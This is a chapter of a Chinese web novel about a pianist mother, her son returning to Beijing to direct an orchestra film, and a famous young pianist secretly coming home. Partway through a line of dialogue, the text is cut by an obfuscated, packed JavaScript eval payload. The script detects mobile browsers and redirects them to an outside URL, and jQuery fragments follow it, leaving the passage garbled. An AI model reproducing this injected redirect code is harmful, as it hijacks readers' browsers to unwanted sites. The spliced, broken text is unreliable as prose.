李炽坐在驶往机场的车副驾，车载屏幕上正显示着一条关于古典乐坛的旧闻回顾：


    【正如李炽几年前曾指出的那样，古典音乐的潮汐正在东方掀起新的波澜。


    最具代表性的佐证，便是被誉为钢琴界奥林匹克的克莱本国际钢琴大赛。该赛事评委由业界绝对权威组成，若一致认为参赛者水准未达到首奖标准，则让首奖空缺，绝不降格以求。


    这项桂冠，曾因此空缺了整整五届、也就是整整二十年。


    直到四年前，十八岁的华人女钢琴家梁初灵，以她兼具磅礴技术和深邃乐思的演奏，一举打破了这项长达二十年的沉寂，强势折桂。


    根据大赛传统，首奖获得者不再拥有参赛资格，但梁初灵在夺冠后，收到了大赛组委会发出的评委邀请。


    就在明年，新一届大赛即将启幕，她将成为史上最年轻的评委，也将成为第一位华人评委。


    细数近几年的国际顶级钢琴赛事，首奖都被华人钢琴家包揽。她们以无可指摘的技巧和融汇东西方的独特音乐理解，征服了世界各地的评委与观众。


    并且，由李炽打造的全华裔法派乐团，在经过初期的挣扎与探索后，也逐渐赢得了挑剔的乐评人和广大乐迷的认可，演出邀约不断，成为了古典乐界一股不可忽视的清新力量。


    前有李炽，后有梁初灵，这两位华人女钢琴家是时代的见证者、在场者、推动者。】


    李炽看向窗外，北京的天空依旧高远。


    但这座城市，以及这座城市里的人和事，都已悄然改变。


    她当年的预言，正被时代一步步印证。


    华人的面孔，正在古典音乐这片曾经由欧洲主导的领域，占据越来越耀眼的位置。


    --


    纽约肯尼迪国际机场，李寻在办理宠物托运手续。


    航空箱里，栗子趴着，它已经是一只六岁的大猫，变得安静沉稳。


    这个航空箱还是四年前托运它来美国时的那个，同箱同猫同人，一趟航线，两个国度，交换不同的情愫。猫是懵懂猫，人是清晰人。


    李寻轻轻拍了拍航空箱，“回家了，栗子。”


    他此次回国是因接下了李炽的邀约，担任乐团商业发行影片的导演。


    这是一个完整的影视制作项目，李炽看中他三点。


    其一，他自己曾经也是钢琴家，深刻理解古典音乐的内在逻辑与美学；


    其二，他去年在纽约大学的结课作业，一部声音与影像关系的实验短片，在几个独立电影节上获得了极高评价，也证明了他将抽象乐思转化为视觉语言的潜力；


    其三，也是最重要的一点，他是李炽的儿子，她们之间有默契和信任，李炽能放心地将乐团的形象交付于他的镜头。


    李炽要为自己的乐团再造一波势，要狠狠拓展古典音乐受众，决定打造一部具有电影叙事感的商业发行影片，于主流媒体平台播出。


    这个想法在她脑海中酝酿已久。


    传统的唱片和现场录像已无法满足当下的传播需求，她需要一种更具感染力的方式来讲述古典音乐，讲述她的音乐。


    “我们需要打破那层玻璃罩。”李炽对李寻说，“古典音乐不该只是音乐厅里正襟危坐的仪式，不该被供奉在神坛上，只被少数自诩高雅的人品评。它里面的激情、挣扎、爱与死，与任何流行文化一样鲜活，一样深刻。”


    “这部影片，就是要把古典音乐推向更广阔的受众。用电影的语法，让听不懂赋格的人也能感受到节奏的张力，让不明白奏鸣曲式的人也能被一段旋律牵动心肠。要让平时只听流行的人，也愿意发现，古典乐一样能够贴近情绪。”


    李寻明白，但还是指出：“我担心这会引来原教旨主义骂你玷污了古典音乐的纯洁性，骂你把阳春白雪变成了下里巴人。”


    李炽笑了笑：“你骂得太温柔，应该是会骂我和我的乐团，为了出名，连脸都不要了。”


    “没关系的，各行各业都有这种例子。觉得门槛低了，他们‘圈内人’的优越感就没了。没关系，我不怕被骂，如果拓展受众意味着要承受指责，那这骂名没什么。”


    她要实现自己曾说过的：在古典音乐尚且鲜活的时候，一定要多做点什么，也要尽情地演奏，真诚地表达，然后，平静地看着它走向下一个阶段。


    李寻虽然名义上还是大四学生，但早已修满了毕业所需学分，行动自由。


    这个机会来得挺巧，他正好也回来看看。


    飞机穿越云层，脚下是熟悉的东亚海岸线，李寻看着舷窗外，心情复杂。


    四年，他刻意避开了一切与古典音乐相关的接触，他以为自己已经足够平静。


    但这次，他要再次揭开一个他回避了许久的世界的幕布。


    --


    李炽亲自来机场接他，母子二人许久未见，但也没有过多寒暄，一切尽在不言中。车子驶回李炽在北京的住所，那套都很熟悉的房子。


    车子快到门口时，李寻看到一个熟悉的身影正从隔壁的琴房里走出来，是金溪。


    李炽按了下喇叭，李寻降下车窗。


    “金溪，好久不见。”他打招呼。


    金溪闻声转头，看到车窗里李寻的脸，明显吓了一跳，脱口而出：“李寻？你怎么回来了？！”


    李寻被她这过激的反应逗乐，笑着揶揄：“你吓什么？我是给乐团拍片的导演，你不知道吗？”


    这四五年来，因为金溪加入了李炽的乐团，李寻每次去看望母亲时，总免不了会跟金溪碰上一两面。


    两人本质上算是熟人，却又极其陌生——


    她们共同的话题，大概只有李炽或者梁初灵。


    而前者，两人不敢多聊，后者，则是两人心照不宣。


    于是每次见面，都只剩下关于天气、行程、乐团近况之类的寒暄，然后迅速陷入尴尬。


    李寻以为，金溪此刻惊吓，不过是这尴尬关系的又一次体现，外加可能对由他执导这件事感到意外——


    乐手当然不会关心制作团队的人选，直到项目正式启动。


    只是，金溪脸上的表情太过精彩，从惊吓到愕然，再到一种“原来如此但根本不是因为这啊”的混乱。


    她张了张嘴，最后只化作吐槽：“我勒个去！我还真不知道！”


    心里却在呐喊：我又不是因为这个而惊吓！我是因为……


    但她没办法说出口，只能赶紧扯出一个笑容，干巴巴找补：“哈哈，那真是太巧啦！欢迎回来！李导！我还有点急事，先走了哈！等之后工作见！”


    说完几乎是落荒而逃。


    李寻看着她匆忙的背影，有些莫名，但也没多想，只当是金溪依旧不想继续那惯常的尴尬对话。


    李炽停好车，意味深长：“她吓到未必是因为你。”


    李寻怔了怔，看向母亲。李炽却已下车，去后备箱取行李了。


    出租车上的金溪，心脏还在砰砰跳，拿着手机打打删删，不知道怎么措辞。


    她不是惊讶李寻回国，也不是惊讶他是导演——虽然这事她之前确实不知道——也再次佐证了两个人熟也不熟。


    金溪惊吓的是，李寻怎么今天回来了！而就在今天，另一个人，也要悄悄回来！


    她还在打字呢，对面电话已经打了过来，金溪接起：“喂？初灵！你落地了吗？已经出来了？在哪个出口？好，你就在那里等着，我马上到！对了，跟你说个事……哎呀算了一会儿见面再说。”


    挂了电话，金溪感觉像在参与一场特工行动。


    这俩人，一个悄无声息回国，一个毫无预兆出现，真是冤家路窄？还是命运弄人？


    梁初灵去柯蒂斯的那一年，金溪也正式加入李炽的乐团前往美国。


    两个人自然要约见约饭，席间，梁初灵问起：“李寻他最近怎么样了？”


    金溪当时就很奇怪：“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845986|189655||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我跟他不熟啊，你怎么跑来问我？还有谁比你跟他熟啊？”


    梁初灵用非常轻的声音说：“你能帮我看看他朋友圈吗？我跟他已经没联系了，好友也删了。”


    金溪这下是真的惊讶：“咋了？你俩分手了？”


    梁初灵点点头，又摇摇头，不确定该用什么词定义她们的关系。


    分手？可是也并没正式在一起过啊。


    梁初灵只说：“我和他已经没有关系了。”


    金溪噤声，不再多问。


    她点开那个从未聊过天的头像，李寻的朋友圈空空荡荡，只有一条动态，是半年前发的，一张栗子睡觉的照片，配文只有一个猫爪表情。


    梁初灵盯着那张照片看了很久，然后再也没提过这个话题。


    --


    梁初灵戴着鸭舌帽和口罩，这张脸如今实在是太家喻户晓。


    没办法，本人真的太红了，长得也真的太漂亮了——梁初灵甩甩头发，心里已经演完了三台戏。


    她今年是毕业后的第一年，所以在刻意压低演出量，全球巡演只一月一场。原本计划周密，但接下来两场在俄罗斯的音乐会，却因升级的地区冲突而被迫取消。


    这两场演出，本身就因为复杂的国际关系，能成行已属不易，观众和参与者范围都很有限。


    若非发出邀请的是她的那位偶像，她本就不会考虑前往。


    因此，演出取消虽然遗憾，但并未引起媒体大范围报道。


    知道她提前结束行程悄悄回国的人，除了经纪人团队，也就只有金溪。


    她打算利用这段意外的空档，回来陪妈女士过生日，生日是十月十一，还有几天，梁初灵想给妈女士一个惊喜。


    机场玻璃窗外，是北京秋日爽朗的天空，阳光利落也冷漠。


    金溪一路小跑到她面前，气喘吁吁：“一路顺利吗？累不累？”


    “还行，就是有点困。”梁初灵的声音透过口罩闷闷的，但能听出笑意，“好久没回来了，感觉空气都不一样。”


    “那是！北京欢迎你！”金溪笑嘻嘻地一把抓住她的胳膊：“先别聊了！走走走，车在那边！”


    一边说，一边还四下张望。


    梁初灵被她拽着往前走，忍不住笑：“至于吗你，我又不是什么通缉犯。”


    “你比通缉犯吓人，通缉犯的照片没你辨识度高！快走快走！”


    走了几步去到外面，人流散开后，金溪又憋不住，凑近梁初灵：“我跟你说，李寻今天也回来了！”


    梁初灵正看着外面的树——


    这个月份，北京的秋天还没到最好看的时候，但也有一些叶子错峰出行、如今红红黄黄，也有几分看头。


    听到金溪的话，费尽心思的叶子一下失去魅力，梁初灵眼睛所见已抵挡不过脑海所得。


    身体几不可查僵硬一瞬，却没有立刻回头，只嗯了一声。


    金溪见她反应平淡，更是着急：“他说他是回来给我们乐团拍电影的！他现在是导演啦？”


    这下梁初灵终于转过头，帽檐下的眼睛里是诧异：“你们乐团要拍电影？”她一下子就明白李炽想干什么，但也腹诽这得挨多大的骂。问完这个问题，才在金溪鼓励的眼睛里，问出她想听到的那一问，“李寻当导演了？”


    金溪的头点得像小鸡啄米：“千真万确，他自己亲口说的，李炽老师邀请的！”


    她看着梁初灵复杂起来的神色，忧心忡忡叮嘱，“所以这段时间，你别主动来找我玩了，我怕你俩碰上了，那多尴尬。”


    梁初灵点了点头：“明白的。”


    金溪自觉已经把惊天秘密跟好友同步完毕，剩下的就是关心：“差点忘了问，你这次俄罗斯的音乐会虽然被取消，但热度居然逆涨，伊凡昨晚的演出加了一首情歌，说弹给那位没能踏上这片土地的东方爱人。评论区炸了，都在艾特你！”


    “你俩官宣之后就没同框过了吧？”